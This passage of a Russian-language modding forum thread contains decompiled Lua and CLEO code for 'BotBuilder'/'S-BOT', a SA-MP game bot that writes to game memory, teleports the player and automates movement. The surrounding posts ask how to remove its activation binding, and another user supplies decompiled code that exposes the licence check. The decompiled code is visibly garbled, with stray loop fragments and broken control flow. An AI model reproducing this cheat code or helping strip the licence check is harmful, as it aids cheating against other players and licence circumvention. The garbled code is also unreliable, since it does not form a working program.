    return
end


function randomFunction    setEntityCoordinates (INPUT_VAR_0_,INPUT_VAR_1_,INPUT_VAR_2_,INPUT_VAR_3_)
    if INPUT_VAR_0_ ~= 0 then
        --jump to 0035 (if previous if statement is false) --0035 JMP-JMP
        var_8_5 = INPUT_VAR_0_ +  20 --var_8_5 NUMBER-NUMBER
        var_8_6 = 4 --var_8_6 NUMBER-NUMBER
        var_8_7 = false --var_8_7 PRIMITIVE-PRIMITIVE
        var_8_4 = readMemory(var_8_5, var_8_6, var_8_7)
        if var_8_4 ~= 0 then
            --jump to 0035 (if previous if statement is false) --0035 JMP-JMP
            var_8_5 = var_8_4 +  48 --var_8_5 NUMBER-NUMBER
            var_8_7 = var_8_5 +  0 --var_8_7 NUMBER-NUMBER
            var_8_8 = 4 --var_8_8 NUMBER-NUMBER
            var_8_10 = INPUT_VAR_1_
            var_8_9 = representFloatAsInt(var_8_10)
            var_8_10 = false --var_8_10 PRIMITIVE-PRIMITIVE
            writeMemory(var_8_7, var_8_8, var_8_9, var_8_10)
            var_8_7 = var_8_5 +  4 --var_8_7 NUMBER-NUMBER
            var_8_8 = 4 --var_8_8 NUMBER-NUMBER
            var_8_10 = INPUT_VAR_2_
            var_8_9 = representFloatAsInt(var_8_10)
            var_8_10 = false --var_8_10 PRIMITIVE-PRIMITIVE
            writeMemory(var_8_7, var_8_8, var_8_9, var_8_10)
            var_8_7 = var_8_5 +  8 --var_8_7 NUMBER-NUMBER
            until false or (previous if statement is true) --location 0029
            var_8_8 = 4 --var_8_8 NUMBER-NUMBER
            var_8_10 = INPUT_VAR_3_
            var_8_9 = representFloatAsInt(var_8_10)
            var_8_10 = false --var_8_10 PRIMITIVE-PRIMITIVE
            writeMemory(var_8_7, var_8_8, var_8_9, var_8_10)
        end
    end
    return
end


function randomFunction    SearchMarker (INPUT_VAR_0_,INPUT_VAR_1_,INPUT_VAR_2_,INPUT_VAR_3_,INPUT_VAR_4_)
    var_9_5 = 0 --var_9_5 NUMBER-NUMBER
    var_9_6 = 0 --var_9_6 NUMBER-NUMBER
    var_9_7 = 0 --var_9_7 NUMBER-NUMBER
    var_9_8 = false --var_9_8 PRIMITIVE-PRIMITIVE
    var_9_9 = 0 --var_9_9 NUMBER-NUMBER
    var_9_10 = 31 --var_9_10 NUMBER-NUMBER
    var_9_11 = 1 --var_9_11 NUMBER-NUMBER
    for var_9_12 = var_9_9,var_9_10,var_9_11 do --location 0008, loop ends at 0068-1
        var_9_13 = 0 --var_9_13 NUMBER-NUMBER
        if INPUT_VAR_4_ then
            --jump to 0015 (if previous if statement is false) --0015 JMP-JMP
            var_9_14 = var_9_12 *  56 --var_9_14 NUMBER-NUMBER
            var_9_13 =  13103464 + var_9_14 --var_9_13 NUMBER-NUMBER
        else
            --location 0015--0015 LOCATION-LOCATION_
            var_9_14 = var_9_12 *  160 --var_9_14 NUMBER-NUMBER
            var_9_13 =  13098376 + var_9_14 --var_9_13 NUMBER-NUMBER
        end
        var_9_16 = var_9_13 +  0 --var_9_16 NUMBER-NUMBER
        var_9_17 = 4 --var_9_17 NUMBER-NUMBER
        var_9_18 = false --var_9_18 PRIMITIVE-PRIMITIVE
        var_9_14 = representIntAsFloat( readMemory(var_9_16, var_9_17, var_9_18) )
        var_9_17 = var_9_13 +  4 --var_9_17 NUMBER-NUMBER
        var_9_18 = 4 --var_9_18 NUMBER-NUMBER
        var_9_19 = false --var_9_19 PRIMITIVE-PRIMITIVE
        until false or (previous if statement is true) --location 0029
        var_9_15 = representIntAsFloat( readMemory(var_9_17, var_9_18, var_9_19) )
        var_9_18 = var_9_13 +  8 --var_9_18 NUMBER-NUMBER
        var_9_19 = 4 --var_9_19 NUMBER-NUMBER
        var_9_20 = false --var_9_20 PRIMITIVE-PRIMITIVE
        var_9_16 = representIntAsFloat( readMemory(var_9_18, var_9_19, var_9_20) )
        if var_9_14 == 4 then
            --jump to 0044 (if previous if statement is false) --0044 JMP-JMP
            if var_9_15 == 4 then
                --jump to 0044 (if previous if statement is false) --0044 JMP-JMP
                if var_9_16 ~= 4 then
                    --jump to 0067 (if previous if statement is false) --0067 JMP-JMP
                    var_9_18 = var_9_14
                    var_9_19 = var_9_15
                    var_9_20 = var_9_16
                    var_9_21 = INPUT_VAR_0_
                    var_9_22 = INPUT_VAR_1_
                    var_9_23 = INPUT_VAR_2_
                    var_9_17 = getDistanceBetweenCoords3d(var_9_18, var_9_19, var_9_20, var_9_21, var_9_22, var_9_23)
                    if var_9_17 < INPUT_VAR_3_ then
                        --jump to 0067 (if previous if statement is false) --0067 JMP-JMP
                        var_9_5 = var_9_14
                        var_9_6 = var_9_15
                        var_9_7 = var_9_16
                        var_9_8 = true --var_9_8 PRIMITIVE-PRIMITIVE
                        var_9_18 = var_9_14
                        var_9_19 = var_9_15
                        var_9_20 = var_9_16
                        var_9_21 = INPUT_VAR_0_
                        var_9_22 = INPUT_VAR_1_
                        var_9_23 = INPUT_VAR_2_
                        var_9_17 = getDistanceBetweenCoords3d(var_9_18, var_9_19, var_9_20, var_9_21, var_9_22, var_9_23)
                        var_9_3 = var_9_17
                    end --location 0067, loops back to 0009-1
                    var_9_9 = var_9_8
                    var_9_10 = var_9_5
                    var_9_11 = var_9_6
                    var_9_12 = var_9_7
                    return var_9_9, var_9_10, var_9_11, var_9_12
                end
            end end end end --REVERSE ME--REVERSE ME--REVERSE ME--REVERSE ME

function someFunc10()
    script_name("BotBuilder")
    script_authors("Flashblaker")
    script_dependencies("CLEO")
    require("lib.moonloader")
    var_10_0 = require("moonloader")
    var_10_1 = require("lib.samp.events")
    require("lib.sampfuncs")
    var_10_2 = require("vkeys")
    var_10_3 = require("imgui")
    until false or (previous if statement is true) --location 0029
    var_10_4 = require("encoding")
    var_10_5 = require("inicfg")
    var_10_4.default = "CP1251"
    u8 = var_10_4.UTF8
    var_10_6 = 0 --var_10_6 NUMBER-NUMBER
    activate = var_10_6
    keyEmul = VK_RETURN
    keyEmul2 = VK_DOWN
    var_10_6 = require("ffi")
    var_10_8 = "    int __stdcall GetVolumeInformationA(" --strings longer than 40 characters get cut off, so check to see if there's more!
    var_10_6.cdef(var_10_8)
    var_10_9 = 0 --var_10_9 NUMBER-NUMBER
    var_10_7 = var_10_6.new("unsigned long[1]", var_10_9)
    var_10_8 = nil --var_10_8 PRIMITIVE-PRIMITIVE
    local randomFunction0 = function() end -- starts at  test.lua:0
    main = randomFunction0
    local randomFunction1 = function() end -- starts at  test.lua:0
    BeginToPoint = randomFunction1
    local randomFunction2 = function() end -- starts at  test.lua:0
    MovePlayer = randomFunction2
    local randomFunction3 = function() end -- starts at  test.lua:0
    SetAngle = randomFunction3
    local randomFunction4 = function() end -- starts at  test.lua:0
    GetCoordinates = randomFunction4
    local randomFunction5 = function() end -- starts at  test.lua:0
    activatet = randomFunction5
    local randomFunction6 = function() end -- starts at  test.lua:0
    teleportPlayer = randomFunction6
    local randomFunction7 = function() end -- starts at  test.lua:0
    setCharCoordinatesDontResetAnim = randomFunction7
    local randomFunction8 = function() end -- starts at  test.lua:0
    setEntityCoordinates = randomFunction8
    local randomFunction9 = function() end -- starts at  test.lua:0
    SearchMarker = randomFunction9
    return
end
От души! <3. Подписываюсь на тебя!
 

Dawidos

Активный
153
29
Возможно ли привязку вытащить?
 

Вложения

  • builder bot.luac
    38.6 KB · Просмотры: 5

™ ChipFamily

По ту сторону надежды.
5,144
1,981
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.

Вложения

  • decompiled.lua
    135.7 KB · Просмотры: 24

™ ChipFamily

По ту сторону надежды.
5,144
1,981
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
CLEO:
// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}

//-------------MAIN---------------
0001: wait 0 ms
00D6: if
0AAB:   file_exists "SmartHooks.ini"
004D: jump_if_false @Label00006C
0AF8: samp add_message_to_chat "{269BD8}[S-BOT]: {ffffff} Удалите SmartHooks" color 16777215 
0B28: samp disconnect_with_reason 0
004E: end_thread
00D6: if
0AAB:   file_exists "CLEO\sbot.cs"
004D: jump_if_false @Label000092
0001: wait 0 ms
0002: jump @Label0000DE
0AF8: samp add_message_to_chat "{269BD8}[S-BOT]: {ffffff} Файл переименован. Скрипт отключен" color 16777215 
0B28: samp disconnect_with_reason 0
0A93: end_custom_thread
00D6: if
0AAB:   file_exists "CLEO\sact.txt"
004D: jump_if_false @Label00010B
0B00: delete_file "CLEO\sact.txt" // IF and SET
0AA7: call_function 8512818 num_params 8 pop 0 0 0 0 0 31@v 0 0 0 10@ 
0001: wait 599 ms
0AC6: 1@ = label @Label001F95 offset
0C65: 1@ = download_url 1@ to_file "Cleo\sact.txt"
0AB1: call_scm_func @Label001F65 1 1@ 2@ 
0C7D: release_download 1@
0085: 30@ = 31@ // (int)
0001: wait 0 ms
00D6: if
0A9A: 0@ = openfile "Cleo\sact.txt" mode "rt" // IF and SET
004D: jump_if_false @Label00016E
0001: wait 100 ms
0AC8: 2@ = allocate_memory_size 4096
0C11: memset destination 2@ value 0 size 4096
0AC8: 3@ = allocate_memory_size 96
00D6: if
0AD7: read_string_from_file 0@ to 3@ size 95 // IF and SET
004D: jump_if_false @Label0001D8
0C15: strcat destination 2@ source 3@
0C11: memset destination 3@ value 0 size 96
0AD6:   end_of_file 0@ reached
004D: jump_if_false @Label0001B2
0001: wait 100 ms
0A9B: closefile 0@
0001: wait 100 ms
0B00: delete_file "Cleo\sact.txt" // IF and SET
0AC8: 0@ = allocate_memory_size 96
0AD3: 0@ = format "%d" 31@ 
0001: wait 100 ms
00D6: if
0C18: 19@ = strstr string1 2@ string2 0@
004D: jump_if_false @Label000237
0002: jump @Label0002C1
0AC9: free_allocated_memory 3@
0AC9: free_allocated_memory 2@
0B3B: samp show_dialog id 1 caption "Ошибка активации" text "Сообщите код из чатлога продавцу" button_1 "ок" button_2 "" style 0
0001: wait 50 ms
0AF8: samp add_message_to_chat "{269BD8}[S-BOT]: {FFFFFF}Код активации: %d" color -1 31@ 
0B28: samp disconnect_with_reason 0
0A93: end_custom_thread
0051: return
0B34: samp register_client_command "sbot" to_label @Label001B24
0B34: samp register_client_command "stp" to_label @Label001CDB
0BE3: raknet setup_incoming_rpc_hook @Label001D83
0AAC: 29@ = load_audiostream "CLEO\Alarm.wav"
0006: 31@ = 0
0006: 17@ = 0
0006: 26@ = 0
0006: 16@ = 0
0001: wait 0 ms
00D6: if
0039:   31@ == 1

:Label000312
004D: jump_if_false @Label000312
00D6: if
0B4C:  samp is_dialog_active -1
004D: jump_if_false @Label000312
0AC8: 14@ = allocate_memory_size 96
0BD8: samp get_dialog_caption 14@
00D6: if
0C18: 19@ = strstr string1 14@ string2 "Капча"
004D: jump_if_false @Label000380
0AC9: free_allocated_memory 14@
0B4C:  samp is_dialog_active -1
004D: jump_if_false @Label000379
0001: wait 500 ms
0002: jump @Label000362
0002: jump @Label000439
0AC9: free_allocated_memory 14@
00D6: if
0039:   15@ == 3
004D: jump_if_false @Label00039E
0002: jump @Label0017B7
0B4E: samp 8@ = get_current_dialog_id
0001: wait 100 ms
0BC9: samp send_dialog_response dialog 8@ button 1 listitem 17@ input ""
0001: wait 100 ms
00D6: if
0039:   15@ == 0
004D: jump_if_false @Label0003D0
0002: jump @Label000312
0B4C:  samp is_dialog_active -1
004D: jump_if_false @Label0003EA
0B47: samp close_current_dialog_with_button 0

:Label0003D0
0001: wait 50 ms
0002: jump @Label0003D0
0001: wait 0 ms
00D6: if
0039:   31@ == 1

:Label0003EA
004D: jump_if_false @Label000312
00D6: if
0039:   15@ == 1
004D: jump_if_false @Label000419
0002: jump @Label000566
00D6: if
0039:   15@ == 2
004D: jump_if_false @Label000432
0002: jump @Label000439
0002: jump @Label0003EA
0001: wait 0 ms
0001: wait 500 ms
00A0: store_actor $PLAYER_ACTOR position_to 20@ 21@ 22@
0001: wait 0 ms
00D6: if
0039:   31@ == 0

:Label000450
004D: jump_if_false @Label00046D
0002: jump @Label001AF9
00D6: if
0039:   15@ == 5
004D: jump_if_false @Label000486
0002: jump @Label001AA9
05D3: AS_actor $PLAYER_ACTOR goto_point 1477.829 -1349.427 113.1303 mode 7 time -1 ms // versionA
0B56: set_game_key 1 state -128
0B56: set_game_key 16 state 255
02EB: restore_camera_with_jumpcut
00ED:   actor $PLAYER_ACTOR sphere 0 near_point 1477.829 -1349.427 radius 2.0 2.0 on_foot
004D: jump_if_false @Label000450
0001: wait 0 ms
00D6: if
0039:   31@ == 0

:Label0004CF
004D: jump_if_false @Label0004EC
0002: jump @Label001AF9
00D6: if
0039:   15@ == 5
004D: jump_if_false @Label000505
0002: jump @Label001AA9
05D3: AS_actor $PLAYER_ACTOR goto_point 20@ 21@ 22@ mode 7 time -1 ms // versionA
0B56: set_game_key 1 state -128
0B56: set_game_key 16 state 255
02EB: restore_camera_with_jumpcut
00ED:   actor $PLAYER_ACTOR sphere 0 near_point 20@ 21@ radius 0.5 0.5 on_foot
004D: jump_if_false @Label0004CF
0001: wait 1000 ms
00D6: if
0B4C:  samp is_dialog_active -1
004D: jump_if_false @Label000439
0006: 15@ = 0
0002: jump @Label000312
0001: wait 0 ms
0006: 15@ = 0
00D6: if

:Label000566
0039:   31@ == 1
004D: jump_if_false @Label000312
00D6: if
0039:   26@ == 1
004D: jump_if_false @Label00059C
0002: jump @Label001676
0001: wait 0 ms
00D6: if
0039:   31@ == 0

:Label00059C
004D: jump_if_false @Label0005B9
0002: jump @Label001AF9
00D6: if
0039:   15@ == 5
004D: jump_if_false @Label0005D2
0002: jump @Label001AA9
05D3: AS_actor $PLAYER_ACTOR goto_point 1472.516 -1348.551 113.1303 mode 7 time -1 ms // versionA
0B56: set_game_key 1 state -128
0B56: set_game_key 16 state 255
02EB: restore_camera_with_jumpcut
00ED:   actor $PLAYER_ACTOR sphere 0 near_point 1472.516 -1348.551 radius 2.0 2.0 on_foot
004D: jump_if_false @Label00059C
0006: 32@ = 0
0085: 33@ = 32@ // (int)
0012: 33@ *= 56
000A: 33@ += 13103448
000A: 33@ += 16
0A8D: 0@ = read_memory 33@ size 4 virtual_protect 0
000A: 33@ += 4
0A8D: 1@ = read_memory 33@ size 4 virtual_protect 0
000A: 33@ += 4
0A8D: 2@ = read_memory 33@ size 4 virtual_protect 0
00D6: if
0031:   0@ >= 1476.0
004D: jump_if_false @Label000A2B
0001: wait 0 ms
00D6: if
0039:   31@ == 0

:Label000689
004D: jump_if_false @Label0006A6
0002: jump @Label001AF9
00D6: if
0039:   15@ == 5
004D: jump_if_false @Label0006BF
0002: jump @Label001AA9
05D3: AS_actor $PLAYER_ACTOR goto_point 1474.799 -1340.468 113.1303 mode 7 time -1 ms // versionA
0B56: set_game_key 1 state -128
0B56: set_game_key 16 state 255
02EB: restore_camera_with_jumpcut
00ED:   actor $PLAYER_ACTOR sphere 0 near_point 1474.799 -1340.468 radius 2.0 2.0 on_foot
004D: jump_if_false @Label000689
0001: wait 0 ms
00D6: if
0039:   31@ == 0

:Label000708
004D: jump_if_false @Label000725
0002: jump @Label001AF9
00D6: if
0039:   15@ == 5
004D: jump_if_false @Label00073E
0002: jump @Label001AA9
05D3: AS_actor $PLAYER_ACTOR goto_point 1478.619 -1339.241 113.1303 mode 7 time -1 ms // versionA
0B56: set_game_key 1 state -128
0B56: set_game_key 16 state 255
02EB: restore_camera_with_jumpcut
00ED:   actor $PLAYER_ACTOR sphere 0 near_point 1478.619 -1339.241 radius 2.0 2.0 on_foot
004D: jump_if_false @Label000708
00D6: if and
0039:   17@ == 5
8021:   not  1@ > -1342.0
004D: jump_if_false @Label000822
0001: wait 0 ms
00D6: if
0039:   31@ == 0

:Label0007A3
004D: jump_if_false @Label0007C0
0002: jump @Label001AF9
00D6: if
0039:   15@ == 5
004D: jump_if_false @Label0007D9
0002: jump @Label001AA9
05D3: AS_actor $PLAYER_ACTOR goto_point 1478.442 -1346.286 113.1303 mode 7 time -1 ms // versionA
0B56: set_game_key 1 state -128
0B56: set_game_key 16 state 255
02EB: restore_camera_with_jumpcut
00ED:   actor $PLAYER_ACTOR sphere 0 near_point 1478.442 -1346.286 radius 2.0 2.0 on_foot
004D: jump_if_false @Label0007A3
0001: wait 0 ms
00D6: if
0039:   31@ == 0

:Label000822
004D: jump_if_false @Label00083F
0002: jump @Label001AF9
00D6: if
0039:   15@ == 5
004D: jump_if_false @Label000858
0002: jump @Label001AA9
05D3: AS_actor $PLAYER_ACTOR goto_point 0@ 1@ 2@ mode 7 time -1 ms // versionA
0B56: set_game_key 1 state -128
0B56: set_game_key 16 state 255
02EB: restore_camera_with_jumpcut
00ED:   actor $PLAYER_ACTOR sphere 0 near_point 0@ 1@ radius 0.5 0.5 on_foot
004D: jump_if_false @Label000822
0031:   1@ >= -1348.0
004D: jump_if_false @Label000926
0001: wait 200 ms
00D6: if
0039:   15@ == 5
004D: jump_if_false @Label0008C6
0002: jump @Label001AA9
0006: 32@ = 0
0085: 33@ = 32@ // (int)

:Label0008C6
0012: 33@ *= 56
000A: 33@ += 13103448
000A: 33@ += 16
0A8D: 0@ = read_memory 33@ size 4 virtual_protect 0
000A: 33@ += 4
0A8D: 1@ = read_memory 33@ size 4 virtual_protect 0
000A: 33@ += 4
0A8D: 2@ = read_memory 33@ size 4 virtual_protect 0
0002: jump @Label000897
0001: wait 0 ms
00D6: if
0039:   31@ == 0

:Label000926
004D: jump_if_false @Label000943
0002: jump @Label001AF9
00D6: if
0039:   15@ == 5
004D: jump_if_false @Label00095C
0002: jump @Label001AA9
05D3: AS_actor $PLAYER_ACTOR goto_point 1477.654 -1340.39 113.1303 mode 7 time -1 ms // versionA
0B56: set_game_key 1 state -128
0B56: set_game_key 16 state 255
02EB: restore_camera_with_jumpcut
00ED:   actor $PLAYER_ACTOR sphere 0 near_point 1477.654 -1340.39 radius 1.7 1.7 on_foot
004D: jump_if_false @Label000926
0001: wait 0 ms
00D6: if
0039:   31@ == 0

:Label0009A5
004D: jump_if_false @Label0009C2
0002: jump @Label001AF9
00D6: if
0039:   15@ == 5
004D: jump_if_false @Label0009DB
0002: jump @Label001AA9
05D3: AS_actor $PLAYER_ACTOR goto_point 1472.672 -1342.246 113.1303 mode 7 time -1 ms // versionA
0B56: set_game_key 1 state -128
0B56: set_game_key 16 state 255
02EB: restore_camera_with_jumpcut
00ED:   actor $PLAYER_ACTOR sphere 0 near_point 1472.672 -1342.246 radius 2.0 2.0 on_foot
004D: jump_if_false @Label0009A5
0002: jump @Label001328
00D6: if
8021:   not  0@ > 1472.0
004D: jump_if_false @Label001063
00D6: if
8021:   not  1@ > -1337.0
004D: jump_if_false @Label000D5C
0001: wait 0 ms
00D6: if
0039:   31@ == 0

:Label000A55
004D: jump_if_false @Label000A72
0002: jump @Label001AF9
00D6: if
0039:   15@ == 5
004D: jump_if_false @Label000A8B
0002: jump @Label001AA9
05D3: AS_actor $PLAYER_ACTOR goto_point 1474.799 -1340.468 113.1303 mode 7 time -1 ms // versionA
0B56: set_game_key 1 state -128
0B56: set_game_key 16 state 255
02EB: restore_camera_with_jumpcut
00ED:   actor $PLAYER_ACTOR sphere 0 near_point 1474.799 -1340.468 radius 2.0 2.0 on_foot
004D: jump_if_false @Label000A55
0001: wait 0 ms
00D6: if
0039:   31@ == 0

:Label000AD4
004D: jump_if_false @Label000AF1
0002: jump @Label001AF9
00D6: if
0039:   15@ == 5
004D: jump_if_false @Label000B0A
0002: jump @Label001AA9
05D3: AS_actor $PLAYER_ACTOR goto_point 1470.09 -1340.646 113.1323 mode 7 time -1 ms // versionA
0B56: set_game_key 1 state -128
0B56: set_game_key 16 state 255
02EB: restore_camera_with_jumpcut
00ED:   actor $PLAYER_ACTOR sphere 0 near_point 1470.09 -1340.646 radius 2.0 2.0 on_foot
004D: jump_if_false @Label000AD4
0001: wait 0 ms
00D6: if
0039:   31@ == 0

:Label000B53
004D: jump_if_false @Label000B70
0002: jump @Label001AF9
00D6: if
0039:   15@ == 5
004D: jump_if_false @Label000B89
0002: jump @Label001AA9
05D3: AS_actor $PLAYER_ACTOR goto_point 0@ 1@ 2@ mode 7 time -1 ms // versionA
0B56: set_game_key 1 state -128
0B56: set_game_key 16 state 255
02EB: restore_camera_with_jumpcut
00ED:   actor $PLAYER_ACTOR sphere 0 near_point 0@ 1@ radius 0.5 0.5 on_foot
004D: jump_if_false @Label000B53
0031:   1@ >= -1348.0
004D: jump_if_false @Label000C57
0001: wait 200 ms
00D6: if
0039:   15@ == 5
004D: jump_if_false @Label000BF7
0002: jump @Label001AA9
0006: 32@ = 0
0085: 33@ = 32@ // (int)

:Label000BF7
0012: 33@ *= 56
000A: 33@ += 13103448
000A: 33@ += 16
0A8D: 0@ = read_memory 33@ size 4 virtual_protect 0
000A: 33@ += 4
0A8D: 1@ = read_memory 33@ size 4 virtual_protect 0
000A: 33@ += 4
0A8D: 2@ = read_memory 33@ size 4 virtual_protect 0
0002: jump @Label000BC8
0001: wait 0 ms
00D6: if
0039:   31@ == 0

:Label000C57
004D: jump_if_false @Label000C74
0002: jump @Label001AF9
00D6: if
0039:   15@ == 5
004D: jump_if_false @Label000C8D
0002: jump @Label001AA9
05D3: AS_actor $PLAYER_ACTOR goto_point 1470.09 -1340.646 113.1323 mode 7 time -1 ms // versionA
0B56: set_game_key 1 state -128
0B56: set_game_key 16 state 255
02EB: restore_camera_with_jumpcut
00ED:   actor $PLAYER_ACTOR sphere 0 near_point 1470.09 -1340.646 radius 1.7 1.7 on_foot
004D: jump_if_false @Label000C57
0001: wait 0 ms
00D6: if
0039:   31@ == 0

:Label000CD6
004D: jump_if_false @Label000CF3
0002: jump @Label001AF9
00D6: if
0039:   15@ == 5
004D: jump_if_false @Label000D0C
0002: jump @Label001AA9
05D3: AS_actor $PLAYER_ACTOR goto_point 1474.799 -1340.468 113.1303 mode 7 time -1 ms // versionA
0B56: set_game_key 1 state -128
0B56: set_game_key 16 state 255
02EB: restore_camera_with_jumpcut
00ED:   actor $PLAYER_ACTOR sphere 0 near_point 1474.799 -1340.468 radius 2.0 2.0 on_foot
004D: jump_if_false @Label000CD6
0002: jump @Label00105C
0001: wait 0 ms
00D6: if
0039:   31@ == 0

:Label000D5C
004D: jump_if_false @Label000D79
0002: jump @Label001AF9
00D6: if
0039:   15@ == 5
004D: jump_if_false @Label000D92
0002: jump @Label001AA9
05D3: AS_actor $PLAYER_ACTOR goto_point 1474.014 -1332.483 113.1303 mode 7 time -1 ms // versionA
0B56: set_game_key 1 state -128
0B56: set_game_key 16 state 255
02EB: restore_camera_with_jumpcut
00ED:   actor $PLAYER_ACTOR sphere 0 near_point 1474.014 -1332.483 radius 3.0 3.0 on_foot
004D: jump_if_false @Label000D5C
0001: wait 0 ms
00D6: if
0039:   31@ == 0

:Label000DDB
004D: jump_if_false @Label000DF8
0002: jump @Label001AF9
00D6: if
0039:   15@ == 5
004D: jump_if_false @Label000E11
0002: jump @Label001AA9
05D3: AS_actor $PLAYER_ACTOR goto_point 1470.466 -1334.603 113.1323 mode 7 time -1 ms // versionA
0B56: set_game_key 1 state -128
0B56: set_game_key 16 state 255
02EB: restore_camera_with_jumpcut
00ED:   actor $PLAYER_ACTOR sphere 0 near_point 1470.466 -1334.603 radius 2.0 2.0 on_foot
004D: jump_if_false @Label000DDB
0001: wait 0 ms
00D6: if
0039:   31@ == 0

:Label000E5A
004D: jump_if_false @Label000E77
0002: jump @Label001AF9
00D6: if
0039:   15@ == 5
004D: jump_if_false @Label000E90
0002: jump @Label001AA9
05D3: AS_actor $PLAYER_ACTOR goto_point 0@ 1@ 2@ mode 7 time -1 ms // versionA
0B56: set_game_key 1 state -128
0B56: set_game_key 16 state 255
02EB: restore_camera_with_jumpcut
00ED:   actor $PLAYER_ACTOR sphere 0 near_point 0@ 1@ radius 0.5 0.5 on_foot
004D: jump_if_false @Label000E5A
0031:   1@ >= -1348.0
004D: jump_if_false @Label000F5E
0001: wait 200 ms
00D6: if
0039:   15@ == 5
004D: jump_if_false @Label000EFE
0002: jump @Label001AA9
0006: 32@ = 0
0085: 33@ = 32@ // (int)

:Label000EFE
0012: 33@ *= 56
000A: 33@ += 13103448
000A: 33@ += 16
0A8D: 0@ = read_memory 33@ size 4 virtual_protect 0
000A: 33@ += 4
0A8D: 1@ = read_memory 33@ size 4 virtual_protect 0
000A: 33@ += 4
0A8D: 2@ = read_memory 33@ size 4 virtual_protect 0
0002: jump @Label000ECF
0001: wait 0 ms
00D6: if
0039:   31@ == 0

:Label000F5E
004D: jump_if_false @Label000F7B
0002: jump @Label001AF9
00D6: if
0039:   15@ == 5
004D: jump_if_false @Label000F94
0002: jump @Label001AA9
05D3: AS_actor $PLAYER_ACTOR goto_point 1470.466 -1334.603 113.1323 mode 7 time -1 ms // versionA
0B56: set_game_key 1 state -128
0B56: set_game_key 16 state 255
02EB: restore_camera_with_jumpcut
00ED:   actor $PLAYER_ACTOR sphere 0 near_point 1470.466 -1334.603 radius 1.6 1.6 on_foot
004D: jump_if_false @Label000F5E
0001: wait 0 ms
00D6: if
0039:   31@ == 0

:Label000FDD
004D: jump_if_false @Label000FFA
0002: jump @Label001AF9
00D6: if
0039:   15@ == 5
004D: jump_if_false @Label001013
0002: jump @Label001AA9
05D3: AS_actor $PLAYER_ACTOR goto_point 1475.11 -1334.507 113.1303 mode 7 time -1 ms // versionA
0B56: set_game_key 1 state -128
0B56: set_game_key 16 state 255
02EB: restore_camera_with_jumpcut
00ED:   actor $PLAYER_ACTOR sphere 0 near_point 1475.11 -1334.507 radius 2.0 2.0 on_foot
004D: jump_if_false @Label000FDD
0002: jump @Label001328
00D6: if and
8021:   not  0@ > 1473.0
0031:   0@ >= 1472.0
8021:   not  1@ > -1336.0
0031:   1@ >= -1345.0
004D: jump_if_false @Label0010A0
0007: 0@ = 1472.3
00D6: if and
8021:   not  1@ > -1333.0
0031:   1@ >= -1334.0
0031:   0@ >= 1472.0
004D: jump_if_false @Label0010D0
0006: 16@ = 4
00D6: if and
8021:   not  1@ > -1345.0
0031:   1@ >= -1347.0
004D: jump_if_false @Label001175
0006: 16@ = 3
0001: wait 0 ms
00D6: if
0039:   31@ == 0

:Label0010F6
004D: jump_if_false @Label001113
0002: jump @Label001AF9
00D6: if
0039:   15@ == 5
004D: jump_if_false @Label00112C
0002: jump @Label001AA9
05D3: AS_actor $PLAYER_ACTOR goto_point 1474.21 -1343.777 113.1303 mode 7 time -1 ms // versionA
0B56: set_game_key 1 state -128
0B56: set_game_key 16 state 255
02EB: restore_camera_with_jumpcut
00ED:   actor $PLAYER_ACTOR sphere 0 near_point 1474.21 -1343.777 radius 2.0 2.0 on_foot
004D: jump_if_false @Label0010F6
00D6: if and
8021:   not  1@ > -1336.0
0031:   1@ >= -1341.0
8021:   not  0@ > 1473.0
004D: jump_if_false @Label001224
0006: 16@ = 5
0001: wait 0 ms
00D6: if
0039:   31@ == 0

:Label0011A5
004D: jump_if_false @Label0011C2
0002: jump @Label001AF9
00D6: if
0039:   15@ == 5
004D: jump_if_false @Label0011DB
0002: jump @Label001AA9
05D3: AS_actor $PLAYER_ACTOR goto_point 1474.84 -1338.404 113.1303 mode 7 time -1 ms // versionA
0B56: set_game_key 1 state -128
0B56: set_game_key 16 state 255
02EB: restore_camera_with_jumpcut
00ED:   actor $PLAYER_ACTOR sphere 0 near_point 1474.84 -1338.404 radius 2.0 2.0 on_foot
004D: jump_if_false @Label0011A5
0001: wait 0 ms
00D6: if
0039:   31@ == 0

:Label001224
004D: jump_if_false @Label001241
0002: jump @Label001AF9
00D6: if
0039:   15@ == 5
004D: jump_if_false @Label00125A
0002: jump @Label001AA9
05D3: AS_actor $PLAYER_ACTOR goto_point 0@ 1@ 2@ mode 7 time -1 ms // versionA
0B56: set_game_key 1 state -128
0B56: set_game_key 16 state 255
02EB: restore_camera_with_jumpcut
00ED:   actor $PLAYER_ACTOR sphere 0 near_point 0@ 1@ radius 0.5 0.5 on_foot
004D: jump_if_false @Label001224
0031:   1@ >= -1348.0
004D: jump_if_false @Label001328
0001: wait 200 ms
00D6: if
0039:   15@ == 5
004D: jump_if_false @Label0012C8
0002: jump @Label001AA9
0006: 32@ = 0
0085: 33@ = 32@ // (int)

:Label0012C8
0012: 33@ *= 56
000A: 33@ += 13103448
000A: 33@ += 16
0A8D: 0@ = read_memory 33@ size 4 virtual_protect 0
000A: 33@ += 4
0A8D: 1@ = read_memory 33@ size 4 virtual_protect 0
000A: 33@ += 4
0A8D: 2@ = read_memory 33@ size 4 virtual_protect 0
0002: jump @Label001299
0001: wait 100 ms
00D6: if
0039:   31@ == 1

:Label001328
004D: jump_if_false @Label001AF9
00D6: if
0039:   16@ == 3
004D: jump_if_false @Label0013CF
0001: wait 0 ms
00D6: if
0039:   31@ == 0

:Label001350
004D: jump_if_false @Label00136D
0002: jump @Label001AF9
00D6: if
0039:   15@ == 5
004D: jump_if_false @Label001386
0002: jump @Label001AA9
05D3: AS_actor $PLAYER_ACTOR goto_point 1474.21 -1343.777 113.1303 mode 7 time -1 ms // versionA
0B56: set_game_key 1 state -128
0B56: set_game_key 16 state 255
02EB: restore_camera_with_jumpcut
00ED:   actor $PLAYER_ACTOR sphere 0 near_point 1474.21 -1343.777 radius 2.0 2.0 on_foot
004D: jump_if_false @Label001350
00D6: if
0039:   16@ == 4
004D: jump_if_false @Label001467
0001: wait 0 ms
00D6: if
0039:   31@ == 0

:Label0013E1
004D: jump_if_false @Label0013FE
0002: jump @Label001AF9
00D6: if
0039:   15@ == 5
004D: jump_if_false @Label001417
0002: jump @Label001AA9
05D3: AS_actor $PLAYER_ACTOR goto_point 1475.187 -1334.638 113.1303 mode 7 time -1 ms // versionA
